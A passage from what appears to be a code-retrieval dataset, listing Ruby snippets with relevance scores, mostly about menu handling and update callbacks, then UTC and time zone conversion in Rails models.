"docid": "bdf20475c4a98d58b57e7761c33bfb18", "score": "0.527178", "text": "def for_update\n @for_update = true\n end", "title": "" }, { "docid": "47a44f6674a8ec89f1610e0a80f12ac7", "score": "0.52674913", "text": "def gather_menu_items\n @current_menu_items = []\n yield self\n @current_menu_items\n end", "title": "" }, { "docid": "5e0af7dffaacc3da6ea6f024927dca68", "score": "0.5266468", "text": "def update\n # update only if actove\n super if self.active\n end", "title": "" }, { "docid": "5e0af7dffaacc3da6ea6f024927dca68", "score": "0.5266468", "text": "def update\n # update only if actove\n super if self.active\n end", "title": "" }, { "docid": "5e0af7dffaacc3da6ea6f024927dca68", "score": "0.5266468", "text": "def update\n # update only if actove\n super if self.active\n end", "title": "" }, { "docid": "b48c6ac45f8acea3b94c21225e1791ae", "score": "0.5253753", "text": "def toggle_menu\n h = { \n \"t\" => :toggle_titles_only,\n \"O\" => :toggle_offline\n #:x => :extras\n }\n ch, binding = menu \"Main Menu\", h\n #alert \"Menu got #{ch}, #{binding}\" if ch\n end", "title": "" }, { "docid": "2abc9eee651ba761cc359896767d3265", "score": "0.52532136", "text": "def update\n @current_loop.call\n end", "title": "" }, { "docid": "49bc533e80e388cd63f570083f79c002", "score": "0.5251787", "text": "def update\n\t\tif contains(@window.mouse_x, @window.mouse_y)\n\t\t\tif Gosu::button_down?(@listen_key) && !@pressed_previously\n\t\t\t\tdown\n\t\t\telsif Gosu::button_down?(@listen_key) && @pressed_previously\n\t\t\t\theld\n\t\t\telsif !Gosu::button_down?(@listen_key) && @pressed_previously\n\t\t\t\trelease\n\t\t\telse\n\t\t\t\tmouse_over\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "9abc8be193ebe5932f180e46037da069", "score": "0.5239207", "text": "def add_menu_signal(&block)\n @menu_signal << block\n end", "title": "" }, { "docid": "9abc8be193ebe5932f180e46037da069", "score": "0.5239207", "text": "def add_menu_signal(&block)\n @menu_signal << block\n end", "title": "" }, { "docid": "6dc97ec906d64cf4741eef493056f5fc", "score": "0.5231802", "text": "def on_modified_entry(state, event, *event_args)\n super\n advance! # NOTE: => :staging\n self\n end", "title": "" }, { "docid": "744c5eab7add1c47d28d42e558a10350", "score": "0.52247816", "text": "def maha_update_se\n if @hover_alert.se && !@se_played\n @hover_alert.se.play\n @se_played = true\n end\n end", "title": "" }, { "docid": "68d920641ed46597e811cbdbb070eb41", "score": "0.52244407", "text": "def menu_select!\n Vedeu.bind(:_menu_select_) do |name|\n Vedeu.menus.by_name(name).select_item\n end\n end", "title": "" }, { "docid": "d0a941e52acbb066cb34d32d623f96e7", "score": "0.52153766", "text": "def receive_update\n \n end", "title": "" }, { "docid": "9522ef82ba19de46fd70c78c668b3224", "score": "0.5214333", "text": "def setup_menu menu\n menu.add( 'Add item' ).set_on_menu_item_click_listener proc { eval_js_add_item ; true } \n menu.add( 'Add item return count' ).set_on_menu_item_click_listener proc { eval_js_add_item_return_count ; true } \n menu.add( 'Load image return size' ).set_on_menu_item_click_listener proc { eval_js_load_image_return_size ; true } \n menu.add( 'Remove image' ).set_on_menu_item_click_listener proc { eval_js_remove_image ; true } \n menu.add( 'Load image jsi size' ).set_on_menu_item_click_listener proc { eval_js_load_image_jsi_size ; true } \n end", "title": "" }, { "docid": "5c32453f4f193d995c75744702768e6e", "score": "0.5212106", "text": "def after_update(obj); end", "title": "" }, { "docid": "3b10564ffb620bedc4c673d52d27d870", "score": "0.5210965", "text": "def process_ok\n super\n $game_party.menu_actor = $game_party.members[index]\n end", "title": "" }, { "docid": "3b10564ffb620bedc4c673d52d27d870", "score": "0.5210965", "text": "def process_ok\n super\n $game_party.menu_actor = $game_party.members[index]\n end", "title": "" }, { "docid": "3b10564ffb620bedc4c673d52d27d870", "score": "0.5210965", "text": "def process_ok\n super\n $game_party.menu_actor = $game_party.members[index]\n end", "title": "" }, { "docid": "3b10564ffb620bedc4c673d52d27d870", "score": "0.5210965", "text": "def process_ok\n super\n $game_party.menu_actor = $game_party.members[index]\n end", "title": "" }, { "docid": "61eba2a02860955c2bacfa8e0b0132ae", "score": "0.52108896", "text": "def on_item_activate &b; end", "title": "" }, { "docid": "61eba2a02860955c2bacfa8e0b0132ae", "score": "0.52108896", "text": "def on_item_activate &b; end", "title": "" }, { "docid": "dc569fd24736dd678217971d11ff7127", "score": "0.51879704", "text": "def on_menu_stub(evt)\n Wx::MessageDialog.new(self, :caption => \"Coming soon\",\n :message => \"Sorry. This feature not yet implemented.\").show_modal\n end", "title": "" }, { "docid": "63540451b8566688721b900ccea4543c", "score": "0.51872617", "text": "def call_update_help\n if self.active and @help_window != nil\n update_help\n end\n end", "title": "" }, { "docid": "f5b1d3d291fa021257c408614b2348d9", "score": "0.51870817", "text": "def uhook_new_menu_sidebar menu\n show_translations(menu, :hide_preview_link => true)\n end", "title": "" }, { "docid": "938252aaf127e7603408eb3bbc6ef987", "score": "0.5184957", "text": "def update\n return false if empty?\n\n Vedeu.log(message: \"Interface in focus: '#{current}'\".freeze)\n\n refresh\n\n current\n end", "title": "" }, { "docid": "5d47b3eac04537ad4c5b202a2318b0db", "score": "0.5181157", "text": "def setupMenu(menu) \n while menu.itemArray.size > 0\n menu.removeItem menu.itemArray.first\n end\n @repos.each_with_index do |r, ri| \n mi = NSMenuItem.new\n mi.title = r.name\n mi.target = self\n mi.action = \"proceed:\"\n mi.setRepresentedObject ri\n r.attach mi\n menu.addItem mi\n end\n\n mi = NSMenuItem.new\n mi.title = \"Pull'n'fetch\"\n mi.action = 'pull_all:'\n mi.target = self\n menu.addItem mi\n\n mi = NSMenuItem.new\n mi.title = \"Refresh\"\n mi.action = 'update_all:'\n mi.target = self\n menu.addItem mi\n\n mi = NSMenuItem.new\n mi.title = 'Reload cfg&repos'\n mi.action = 'reload:'\n mi.target = self\n menu.addItem mi\n\n mi = NSMenuItem.new\n mi.title = 'Quit'\n mi.action = 'quit:'\n mi.target = self\n menu.addItem mi\n\n menu\nend", "title": "" }, { "docid": "a8314a6d59972e7bd2454f5a1f614eef", "score": "0.5175863", "text": "def vers_menuSucces()\n @win.remove(@layoutManager)\n Ecran_menu.creer(@win)\n return self\n end", "title": "" }, { "docid": "d4017edd72d3a3fe2fe195098d57a648", "score": "0.517356", "text": "def render_user_activities_pull_down_menu\n count = current_user.count_updates_since_i_last_visited(@topic)\n render_pull_down_menu(\"Notification(#{count})\", :link_id => 'activities_link', :menu_id => 'activities_submenu') do\n '<li>Loading...</li>'\n end\n end", "title": "" }, { "docid": "6d07122484b5e36f05f163c1c75b86b6", "score": "0.51706743", "text": "def enter_in_sinking_state\n @update_callback = :update_enter_sinking_state\n @update_callback_count = 0\n end", "title": "" }, { "docid": "a8b8671e7962fb065a3d4d1fb7e186ef", "score": "0.5169958", "text": "def on_update(&block)\n @update_callback = block\n self\n end", "title": "" }, { "docid": "1e88d16cd45d29e097ff3b73bc20063e", "score": "0.51685476", "text": "def prepare_menu(menu)\n menu.add_listener(:repo_listener, listeners[:repo_listener])\n menu.print_menu\n end", "title": "" }, { "docid": "a1cc9c041ce5f922254ed45872d039c5", "score": "0.51627827", "text": "def set_event_popup\n RXtAddEventHandler(@parent, RButtonPressMask, false,\n lambda do |w, c, i, f|\n if Rbutton(i) == 3\n if @before_popup_hook.run_hook_bool(w, c, i)\n RXmMenuPosition(@menu, i)\n RXtManageChild(@menu)\n end\n end\n end)\n end", "title": "" }, { "docid": "cd16162aa6a06ff068b0d641c36a3b4b", "score": "0.5155263", "text": "def init_menu\n @menus.set_selected(\"logs\")\n end", "title": "" }, { "docid": "4134b7ec817d23d1e17dc99d51e11fbb", "score": "0.51535076", "text": "def button_down_main_menu(id, x, y)\n if id == MsLeft\n elements = @game_menu.update\n if x > 1065 and y > 245 and x < 1255 and y < 300\n \t puts \"User chose game #{elements}\"\n @scores = HighScores.new(elements)\n @game = SingleGame.new(self, elements)\n @game_state = :running\n elsif x > 955 and y > 330 and x < 1255 and y < 385\n @game_state = :vs_menu\n elsif x > 935 and y > 420 and x < 1255 and y < 475\n @game_state = :statistics\n elsif x > 730 and y > 505 and x < 1255 and y < 560\n @game_state = :profile_menu\n elsif x > 1090 and y > 585 and x < 1255 and y < 640\n close\n end\n end\n end", "title": "" }, { "docid": "21b5d3b140d42147064513164e4b0de5", "score": "0.51506674", "text": "def view_state_changed ev\n fire_handler :STATE_CHANGE, ev #???\n @repaint_required = true\n end", "title": "" }, { "docid": "9bd178a560fc2ec097b658cee9b7633e", "score": "0.5146673", "text": "def select_on_screen_events\r\r\n unless table_update?\r\r\n @cached_events = @events.values\r\r\n return\r\r\n end\r\r\n #---------------------------------------------------------------------------\r\r\n # * Table search algorithm\r\r\n #---------------------------------------------------------------------------\r\r\n new_dpx = display_x.to_i\r\r\n new_dpy = display_y.to_i\r\r\n dpx = loop_horizontal? ? new_dpx - RANGE : [new_dpx - RANGE, 0].max\r\r\n dpy = loop_vertical? ? new_dpy - RANGE : [new_dpy - RANGE, 0].max\r\r\n sw = (Graphics.width >> 5) + RANGE * 2\r\r\n sh = (Graphics.height >> 5) + RANGE * 2\r\r\n @cached_events = []\r\r\n sw.times do |x|\r\r\n sh.times do |y|\r\r\n xpos = loop_horizontal? ? (x + dpx) % width : x + dpx\r\r\n ypos = loop_vertical? ? (y + dpy) % height : y + dpy\r\r\n next if xpos >= width || ypos >= height\r\r\n ary = @table.get(xpos, ypos)\r\r\n ary.each do |ev| \r\r\n unless @refreshed_events.include?(ev.id)\r\r\n ev.refresh\r\r\n @tile_events << ev if ev.tile?\r\r\n @refreshed_events << ev.id\r\r\n end\r\r\n end if Theo::AntiLag::PageCheck_Enchancer\r\r\n @cached_events += ary\r\r\n end\r\r\n end\r\r\n @cached_events.uniq!\r\r\n end", "title": "" }, { "docid": "e5f1cb9da5292911e225783873f96181", "score": "0.5144325", "text": "def repaint # menu.repaint\n return if @items.nil? or @items.empty?\n $log.debug \"menu repaint: #{@text} row #{@row} col #{@col} \" \n if !@parent.is_a? RubyCurses::MenuBar \n @parent.window.printstring( @row, 0, \"|%-*s>|\" % [@width-1, @text], $reversecolor)\n # added 2009-01-23 00:49 \n if !@mnemonic.nil?\n m = @mnemonic\n ix = @text.index(m) || @text.index(m.swapcase)\n charm = @text[ix,1]\n #@parent.window.printstring( r, ix+1, charm, $datacolor) if !ix.nil?\n # prev line changed since not working in vt100 and vt200\n #@parent.window.printstring( @row, ix+1, charm, $reversecolor, 'reverse') if !ix.nil?\n # 2009-01-23 13:03 replaced reverse with ul\n @parent.window.mvchgat(y=@row, x=ix+1, max=1, Ncurses::A_BOLD|Ncurses::A_UNDERLINE, $reversecolor, nil)\n end\n @parent.window.refresh\n end\n if @window.nil?\n #create_window\n else\n @window.show\n select_item 0\n @window.refresh\n end\n end", "title": "" }, { "docid": "87ff16d61053a0a8cc816581aa735e63", "score": "0.51374435", "text": "def uhook_new_menu\n return ::Menu.new\n end", "title": "" }, { "docid": "a2e0c6c355c054eb0c8b5b1c579f0886", "score": "0.5135275", "text": "def update_events\r\r\n last_events = (@cached_events.dup rescue @events.values)\r\r\n select_on_screen_events\r\r\n events = @cached_events | @keep_update_events | @forced_update_events\r\r\n if Theo::AntiLag::Dispose_Sprite\r\r\n offscreen_events = last_events - events\r\r\n offscreen_events.each {|event| event.delete_sprite}\r\r\n end\r\r\n events.each {|event| event.update if event.need_update}\r\r\n @common_events.each {|event| event.update}\r\r\n end", "title": "" }, { "docid": "cdb669fc6c8e5f6b242af24632c90292", "score": "0.51334774", "text": "def update\n\n super\n\n #No exit yet?\n if @exit == nil then\n\n #Gathered enough rubies?\n if @player.rubies_gathered >= @min_rubies\n #Create exit at given position\n @exit = Exit.create(:x => @exit_x, :y => @exit_y)\n #Update map\n $map.clear_at(@exit_x, @exit_y)\n $map.insert(@exit)\n #Play sound\n @exit.sound_appear\n end\n\n end\n\n case @player.state\n\n when :dead then\n set_end(\"Level failed!\") unless @level_end\n after(2400) { switch_game_state(GameOver.new(:file => @filename,\n :return_state => @return_state,\n :callback => @callback)) }\n when :won then\n unless @level_end\n set_end(\"Level cleared!\")\n @disappear_sound.play(1, 2, false)\n end\n during(100) { @player.factor -= 0.01 if @player.factor > 0 }\n after(2400) { switch_game_state(LevelCleared.new(:file => @filename,\n :return_state => @return_state,\n :player => @player,\n :rubies_total => @all_rubies,\n :time_left => @status_bar.time_limit,\n :callback => @callback)) }\n end\n\n end", "title": "" } ]
1f921218a85b63dca8ac113d1e6598d5
Ensure that datetimes are always saved as UTC
[ { "docid": "3c226c00afaf628d5070f24140236dcd", "score": "0.5728633", "text": "def format_datetime\n self.start_time = self.start_time.in_time_zone(\"UTC\")\n end", "title": "" } ]
[ { "docid": "2b5767113830adb0055609573b26f604", "score": "0.6987269", "text": "def utc?() end", "title": "" }, { "docid": "f8d50dc470ba77d7c541e513b38d1bce", "score": "0.66975725", "text": "def utc() end", "title": "" }, { "docid": "19dbcc4a4104f126811cee6276dc01c5", "score": "0.6651162", "text": "def utc?\n zone == \"UTC\" || zone == \"UCT\"\n end", "title": "" }, { "docid": "94261401770e81b4002d807c703294f7", "score": "0.6362353", "text": "def utc?\n zone.name == \"UTC\"\n end", "title": "" }, { "docid": "9d28f06f9846829b63b21c6b488313b9", "score": "0.6317288", "text": "def set_time_in_time_zone\n return true if time_observed_at.blank? || time_zone.blank?\n return true unless time_observed_at_changed? || time_zone_changed?\n \n # Render the time as a string\n time_s = time_observed_at_before_type_cast\n unless time_s.is_a? String\n time_s = time_observed_at_before_type_cast.strftime(\"%Y-%m-%d %H:%M:%S\")\n end\n \n # Get the time zone offset as a string and append it\n offset_s = Time.parse(time_s).in_time_zone(time_zone).formatted_offset(false)\n time_s += \" #{offset_s}\"\n \n self.time_observed_at = Time.parse(time_s)\n true\n end", "title": "" }, { "docid": "e2451b1e24cf2495ee96e1aa34835984", "score": "0.62960476", "text": "def utc?\n raise \"undefined @_utc\" unless defined? @_utc\n return @_utc\n end", "title": "" }, { "docid": "29db8d7b5e7989af5a5b90f412e7bee5", "score": "0.62849057", "text": "def skip_time_zone_conversion_for_attributes\n []\n end", "title": "" }, { "docid": "f23cdceb00b6ce1502a3aeef2d795f49", "score": "0.62595576", "text": "def utc\n @utc ||= zone.local_to_utc(@time)\n end", "title": "" }, { "docid": "74c99a993c49afc2e910ca588f2e2c0d", "score": "0.623947", "text": "def eql?(other)\n other.eql?(utc)\n end", "title": "" }, { "docid": "122ef5a24da1c829cbd40e69933d4b93", "score": "0.6184342", "text": "def scheduled_for_time_to_utc\n self.scheduled_for = ActiveSupport::TimeZone\n .new(self.user.timezone)\n .local_to_utc(self.scheduled_for)\n end", "title": "" }, { "docid": "cf2c18fec64abbcf4f47b07e65d8aa37", "score": "0.612864", "text": "def getutc() end", "title": "" }, { "docid": "e28fba3219b86b9d8f96ff6e9095ca58", "score": "0.60648763", "text": "def is_valid_utc_time?(utc_time)\n begin\n Time.parse(utc_time).strftime(\"%z\") == \"+0000\" &&\n Time.parse(utc_time).strftime(\"%Z\") == \"UTC\"\n rescue\n false\n end\n end", "title": "" }, { "docid": "f5988bb5c9191b58aa4ee0ea45f46372", "score": "0.6060002", "text": "def before_setup\n @original_time_zone = Time.zone\n super\n end", "title": "" }, { "docid": "96dbc5e6476b3d5dd9d17731454f3c7b", "score": "0.60412985", "text": "def convert_happened_at_to_utc\n self[:happened_at] = self.person && self.person.user ? self.person.user.user2utc(self[:happened_at]) : self[:happened_at]\n end", "title": "" }, { "docid": "8c12801bc3af5f20226a47de70e0f127", "score": "0.5998063", "text": "def utc\n @attributes.fetch('UTC', nil)\n end", "title": "" }, { "docid": "8c3bebf0a7d141f1147b19f307609384", "score": "0.59876895", "text": "def to_utc(date)\n date.to_time.utc\n end", "title": "" }, { "docid": "d5809d3c167d070578835ad5eeb53e85", "score": "0.5966721", "text": "def at_utc(*args)\n extract_and_create_local_time(args, false)\n end", "title": "" }, { "docid": "ef93ad921e3001103b97f8ea64e5555c", "score": "0.5966582", "text": "def test_parse_to_utc_returns_nil_on_obviously_invalid_input_it_used_to_swallow\n pend 'Time.parse_to_utc validation failure, see https://github.com/3scale/apisonator/pull/167#issuecomment-597586622' do\n assert_nil Time.parse_to_utc('201210garbage201210')\n end\n end", "title": "" }, { "docid": "47fe057cf4e3ab53fd3f794f0ebe785a", "score": "0.59457505", "text": "def populate_timezones\n if new_record?\n self.created_at_timezone ||= Time.zone.name\n else\n if self.deleted?\n self.deleted_at_timezone ||= Time.zone.name\n end\n end\n end", "title": "" }, { "docid": "39d5b5239fb59babf95d6714c45d39db", "score": "0.593047", "text": "def created_date_time_utc=(value)\n @created_date_time_utc = value\n end", "title": "" }, { "docid": "32e31e11b84d29f0f59dc131d12bd190", "score": "0.5926076", "text": "def utc\n @utc ||= incorporate_utc_offset(@time, -utc_offset)\n end", "title": "" }, { "docid": "58e3f560c279643731686e37e2225011", "score": "0.59002733", "text": "def set_time_zone\n # Make sure blank is always nil\n self.time_zone = nil if time_zone.blank?\n # If there are coordinates, use them to set the time zone, and reject\n # changes to the time zone if the coordinates have not changed\n if georeferenced?\n if coordinates_changed?\n lat = ( latitude_changed? || private_latitude.blank? ) ? latitude : private_latitude\n lng = ( longitude_changed? || private_longitude.blank? ) ? longitude : private_longitude\n self.time_zone = TimeZoneGeometry.time_zone_from_lat_lng( lat, lng ).try(:name)\n self.zic_time_zone = ActiveSupport::TimeZone::MAPPING[time_zone] unless time_zone.blank?\n elsif time_zone_changed?\n self.time_zone = time_zone_was\n self.zic_time_zone = zic_time_zone_was\n end\n end\n # Try to assign a reasonable default time zone\n if time_zone.blank?\n self.time_zone = nil\n self.time_zone ||= user.time_zone if user && !user.time_zone.blank?\n self.time_zone ||= Time.zone.try(:name) unless time_observed_at.blank?\n self.time_zone ||= 'UTC'\n end\n if !time_zone.blank? && !ActiveSupport::TimeZone::MAPPING[time_zone] && ActiveSupport::TimeZone[time_zone]\n # We've got a zic time zone\n self.zic_time_zone = time_zone\n self.time_zone = if rails_tz = ActiveSupport::TimeZone::MAPPING.invert[time_zone]\n rails_tz\n elsif ActiveSupport::TimeZone::INAT_MAPPING[time_zone]\n # Now we're in trouble, b/c the client specified a valid IANA time\n # zone that TZInfo knows about, but it's one Rails chooses to ignore\n # and doesn't provide any mapping for so... we have to map it\n ActiveSupport::TimeZone::INAT_MAPPING[time_zone]\n elsif time_zone =~ /^Etc\\//\n # If we don't have custom mapping and there's no fancy Rails wrapper\n # and it's one of these weird oceanic Etc zones, use that as the\n # time_zone. Rails can use that to cast times into other zones, even\n # if it doesn't recognize it as its own zone\n time_zone\n else\n ActiveSupport::TimeZone[time_zone].name\n end\n end\n self.time_zone ||= user.time_zone if user && !user.time_zone.blank?\n self.zic_time_zone ||= ActiveSupport::TimeZone::MAPPING[time_zone] unless time_zone.blank?\n if !zic_time_zone.blank? && ActiveSupport::TimeZone::MAPPING[zic_time_zone] && ActiveSupport::TimeZone[zic_time_zone]\n self.zic_time_zone = ActiveSupport::TimeZone::MAPPING[zic_time_zone]\n end\n true\n end", "title": "" }, { "docid": "30166e7678403b2ca9ad192591ec84aa", "score": "0.5867956", "text": "def create_time_in_utc(datetime, tz = nil)\n create_time_in_tz(datetime, tz).in_time_zone(\"Etc/UTC\") # Return the time in UTC\n end", "title": "" }, { "docid": "20ed97f292bd04859aa854136e7d0f86", "score": "0.5836772", "text": "def local_to_utc(datetime)\n convert_with_timezone(:local_to_utc, datetime)\n end", "title": "" }, { "docid": "dd9e8c5f39f6ec6c567210f887ffe946", "score": "0.583239", "text": "def supports_timestamp_timezones?\n true\n end", "title": "" }, { "docid": "dd9e8c5f39f6ec6c567210f887ffe946", "score": "0.583239", "text": "def supports_timestamp_timezones?\n true\n end", "title": "" }, { "docid": "dd9e8c5f39f6ec6c567210f887ffe946", "score": "0.583239", "text": "def supports_timestamp_timezones?\n true\n end", "title": "" }, { "docid": "046864096621f31845e715c7fd72da1d", "score": "0.58206075", "text": "def utc(*args)\n create(@time_zone.utc_to_local(Time.utc(*args)))\n end", "title": "" }, { "docid": "ac8f378e084b32b626892bd37225e815", "score": "0.57866013", "text": "def __evolve_time__\n __mongoize_time__.utc\n end", "title": "" }, { "docid": "6616d48612f5785a5dc9162a7398c233", "score": "0.57845324", "text": "def test_initialize_datetime_without_timezone()\n assert_raise(RuntimeError) do\n datetime = @ad_manager.datetime(2017, 11, 7, 17, 30, 10)\n end\n end", "title": "" }, { "docid": "2622df068789a98cddabaeb3345f4900", "score": "0.57717466", "text": "def utc_now()\n tz = TZInfo::Timezone.get('Etc/UTC')\n tz.now.to_datetime\n end", "title": "" }, { "docid": "41f7736cbba64a06bac9b385c4bdcc4e", "score": "0.5751917", "text": "def sanitize_data!\n convert_datetimes_intelligently!\n end", "title": "" }, { "docid": "e880b52c0bec24ae4c2443299c2841dc", "score": "0.5744185", "text": "def end_at\n super.in_time_zone(time_zone) if super && time_zone\n end", "title": "" }, { "docid": "6f7be14022b40e513106b8dce68e6967", "score": "0.5722664", "text": "def getutc\n return Time.at(self).utc\n end", "title": "" }, { "docid": "9c816312f7a0d4469f0c3366a27fa92c", "score": "0.5680981", "text": "def mongoize(object)\n unless object.blank?\n time = object.__mongoize_time__\n ::Time.utc(time.year, time.month, time.day)\n end\n end", "title": "" }, { "docid": "1ad3f50d927a60107f2bb1e49fb71693", "score": "0.56751215", "text": "def date_to_utc(date)\n date.to_datetime.strftime('%Y-%m-%dT%H:%M:%S%z')\n end", "title": "" }, { "docid": "7d33a0d452c3ea0b08c10cb1d4daef9b", "score": "0.5655489", "text": "def set_timezone(timezone); end", "title": "" }, { "docid": "7d33a0d452c3ea0b08c10cb1d4daef9b", "score": "0.5655489", "text": "def set_timezone(timezone); end", "title": "" }, { "docid": "7d33a0d452c3ea0b08c10cb1d4daef9b", "score": "0.5655489", "text": "def set_timezone(timezone); end", "title": "" }, { "docid": "7d33a0d452c3ea0b08c10cb1d4daef9b", "score": "0.5655489", "text": "def set_timezone(timezone); end", "title": "" }, { "docid": "7d33a0d452c3ea0b08c10cb1d4daef9b", "score": "0.5655489", "text": "def set_timezone(timezone); end", "title": "" }, { "docid": "7259d6fe0be1cb4fef6fd17fab0fe0f7", "score": "0.56071943", "text": "def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end", "title": "" }, { "docid": "563648959dc0b8b87e7af8de8613bdba", "score": "0.5604823", "text": "def to_utc_time\n Time.utc(*gregorian_civil_coordinates)\n end", "title": "" }, { "docid": "a9e214887b78159549759a10b274c1a7", "score": "0.55996037", "text": "def fix_time_zone\n return true if self.time_zone.nil?\n return true if ActiveSupport::TimeZone[self.time_zone]\n try = self.time_zone.gsub('&amp;', '&')\n self.time_zone = try if ActiveSupport::TimeZone[try]\n end", "title": "" }, { "docid": "177b6238dd1ee15c7ecb0406b4523c87", "score": "0.5594069", "text": "def created_at\n super.in_time_zone if super\n end", "title": "" }, { "docid": "361e77e8d6ac36f648225f474f56cdc9", "score": "0.55906904", "text": "def able_to_set_updated_at?\n !frozen? && !timeless? && (new_record? || changed?)\n end", "title": "" }, { "docid": "306d50bc13fe4acc3b942fe0efeb3437", "score": "0.5569912", "text": "def date_time_et\n DateTime.now.utc.in_time_zone('Eastern Time (US & Canada)')\n end", "title": "" }, { "docid": "306d50bc13fe4acc3b942fe0efeb3437", "score": "0.5569912", "text": "def date_time_et\n DateTime.now.utc.in_time_zone('Eastern Time (US & Canada)')\n end", "title": "" }, { "docid": "f1b5ab97eeecc51d77ccd8bafa053222", "score": "0.5541599", "text": "def check_dates\n if(self.d_publish.nil?) && (self.d_remove.nil?)\n self.d_remove = \"2094-03-25\"\n self.d_publish = Time.zone.today\n elsif(self.d_publish?)\n self.d_remove = \"2094-03-25\"\n elsif(self.d_remove?)\n self.d_publish = Time.zone.today\n end\n end", "title": "" }, { "docid": "f3867d5ddf726e73c6cd107f0c0870b3", "score": "0.5536216", "text": "def to_utc_time\n Time.utc(1970, 1, 1, @hour, @minute, @second)\n end", "title": "" }, { "docid": "111b459b44199d6d8efbb69e7a340cdd", "score": "0.5530236", "text": "def after_teardown\n super\n Time.zone = @original_time_zone\n end", "title": "" }, { "docid": "e415b0f4f59524ab1ddc828b3f46debe", "score": "0.55293894", "text": "def from_utc(dt)\n return nil if dt.nil?\n case dt\n when Time then dt.localtime\n else\n raise ArgumentError, \"converting #{dt.class.to_s} from UTC not implemented\"\n end\n end", "title": "" }, { "docid": "ab76ca848d216c51bf6041c693d9d049", "score": "0.55259573", "text": "def create\n \n params[:task][:time] = parse_task_time(params[:task][:time],params[:anytime][:anytime])\n @task = Task.new(params[:task])\n \n # unless the following 2 commands are executed, the time is saved in the wrong time zone\n @task.start_date = @task.start_date.advance({:hours=>0})\n @task.end_date = @task.end_date.advance({:hours=>0})\n # can't understand why...\n \n respond_to do |format|\n if @task.save\n format.html { redirect_to(tasks_url, :notice => 'Task was successfully created.') }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4c89b2732849c728627cfe010c7f658", "score": "0.5522401", "text": "def time_zone?\n !time_zone.blank?\n end", "title": "" }, { "docid": "951a112832d795c6451960e45965a5d2", "score": "0.5515605", "text": "def to_time\r\n #MES- From activerecord-1.13.2\\lib\\active_record\\connection_adapters\\abstract\\schema_definitions.rb\r\n # Function was called string_to_time\r\n time_array = ParseDate.parsedate(self)[0..5]\r\n # treat 0000-00-00 00:00:00 as nil\r\n #MES- Next line WAS the following, but we don't have access to Base here\r\n #Time.send(Base.default_timezone, *time_array) rescue nil\r\n Time.utc(*time_array) rescue nil\r\n end", "title": "" }, { "docid": "bb40775044410a5788789424df763d9a", "score": "0.5514064", "text": "def requires_sql_standard_datetimes?\n true\n end", "title": "" }, { "docid": "5bce4927cd18ba4011ad163fb470614f", "score": "0.55103314", "text": "def save_end_at\n self.end_time = Time.zone.parse(\"#{date_published} #{@end_time_input}\" ) if ( @end_time_input.present? && date_published.present? )\n end", "title": "" }, { "docid": "93b47bfc039bb18d09f455afc2b48b68", "score": "0.54849946", "text": "def to_utc_time\n Time.utc(@year, @month, @day, @hour, @minute, @second)\n end", "title": "" }, { "docid": "6f7745204ccbb1bf1d6bfef0e9f1ff6c", "score": "0.54635406", "text": "def has_floating_timezone?\n false\n end", "title": "" }, { "docid": "677626ccb377c160eda145dfe1e83c85", "score": "0.545785", "text": "def timezones\n @timezones.freeze\n end", "title": "" }, { "docid": "30c43b35d6a4b583e26585c5e524cadf", "score": "0.54427356", "text": "def set_default_times\n if !self.start\n return\n end\n\n if self.start.hour == 0 # hour set to 0 if not otherwise defined...\n self.start = self.start + 9.hours\n end\n\n if !self.end\n if self.online?\n self.end = self.start + 1.hour\n else\n diff = 17 - self.start.hour\n self.end = self.start + diff.hours\n end\n end\n # TODO: Set timezone for online events. Where to get it from, though?\n # TODO: Check events form to add timezone autocomplete.\n # Get timezones from: https://timezonedb.com/download\n\n end", "title": "" }, { "docid": "308796d472c2dbb327326472510e319c", "score": "0.5415536", "text": "def sync_timezone_changes(raw_connection)\n end", "title": "" }, { "docid": "27b57972fb3c565e16deb63d917bc425", "score": "0.5409591", "text": "def time_zone; end", "title": "" }, { "docid": "27b57972fb3c565e16deb63d917bc425", "score": "0.5409591", "text": "def time_zone; end", "title": "" }, { "docid": "27b57972fb3c565e16deb63d917bc425", "score": "0.5409591", "text": "def time_zone; end", "title": "" }, { "docid": "27b57972fb3c565e16deb63d917bc425", "score": "0.5409591", "text": "def time_zone; end", "title": "" }, { "docid": "27b57972fb3c565e16deb63d917bc425", "score": "0.5409591", "text": "def time_zone; end", "title": "" }, { "docid": "27d3ed0dd8599a90065dfb4157222f19", "score": "0.5399579", "text": "def record_timestamps\n false\n end", "title": "" }, { "docid": "043a26a1fcb015a17e94e2df86615b8e", "score": "0.53793836", "text": "def set_timezone\n tz = current_user ? current_user.time_zone : nil\n Time.zone = tz || ActiveSupport::TimeZone[\"UTC\"]\n end", "title": "" }, { "docid": "2ae620515401355ab2476b61e6bb1091", "score": "0.53726995", "text": "def test_datetime_restricted_methods()\n datetime = @ad_manager.utc()\n restricted_functions = [:dst?, :getgm, :getlocal, :getutc, :gmt, :gmtime,\n :gmtoff, :isdst, :localtime, :utc]\n restricted_functions.each do |function|\n assert_raise(NoMethodError) do\n datetime.send(function)\n end\n end\n end", "title": "" }, { "docid": "08465040ba9c88beb6f9708743a7bcb6", "score": "0.5372114", "text": "def record_timestamps\n false\n end", "title": "" }, { "docid": "571b0068f0a8aef53ac598c7bf58ba8d", "score": "0.5361437", "text": "def apply_validations_for_timestamp\n apply_validations_for_datetime\n end", "title": "" }, { "docid": "0079e141191d47ff30987f415a3f8c9f", "score": "0.53546304", "text": "def is_valid?\n is_valid_datetime?\n end", "title": "" }, { "docid": "57494be8367946394301ad7232176078", "score": "0.5353029", "text": "def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end", "title": "" }, { "docid": "7c972d2e4eae8e07b7cbebc583cd6e56", "score": "0.53483063", "text": "def time_zone=(_arg0); end", "title": "" }, { "docid": "7c972d2e4eae8e07b7cbebc583cd6e56", "score": "0.53483063", "text": "def time_zone=(_arg0); end", "title": "" }, { "docid": "e477228d5f6f86064ce4d74dfd6de4ba", "score": "0.53480786", "text": "def set_start_end_dates\n # If the task is a schedule/appointment type then we need to set the start\n #+ and end time for it. We save them in the same fields start_date,\n #+ end_date. The start_time and end_time fields are deprecated and they \n #+ are used as place holders in form. They will be removed from table\n #+ definition.\n # Database migration and rake task is there to change field type for\n #+ start/end date. Now storing time and date in same fields.\n if self.category.eql?(\"appointment\")\n self.start_date = self.start_date_appointment unless 